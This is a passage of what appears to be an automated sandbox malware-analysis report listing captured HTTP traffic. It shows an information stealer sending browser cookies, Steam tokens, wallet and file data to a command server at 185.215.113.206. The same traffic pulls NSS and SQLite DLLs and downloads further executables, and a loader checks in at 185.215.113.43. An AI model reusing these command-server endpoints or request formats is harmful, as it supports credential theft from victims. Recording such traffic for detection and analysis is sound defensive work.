name="message"plugins------IEGCBAAFHDHDHJKEGCFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="message"fplugins------DAAAFBKECAKEHIEBAFIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIHost: 185.215.113.206Content-Length: 5983Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIDAKECFIEBGDHJEBKKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 4b 2d 2d 0d 0a Data Ascii: ------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EHIDAKECFIEBGDHJEBKKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EHIDAKECFIEBGDHJEBKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file"------FBGIDHCAAKEBAKFIIIEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="file"------FBFIDBFHDBGIDHJJEGHI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"wallets------JKEGHDGHCGHDHJKFBFBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"files------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="file"------EHJDGHJDBFIJKECAECAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"ybncbhylepme------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEBKEGHJKEBFHJDBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------HCAAEBKEGHJKEBFHJDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HCAAEBKEGHJKEBFHJDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007148001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007149001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007150001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 2d 2d 0d 0a Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="build"mars------BFIJKEBFBFHIJJKEHDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 35 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007151001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 35 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007152001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build"mars------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 32 32 37 37 32 42 32 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B22772B25C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
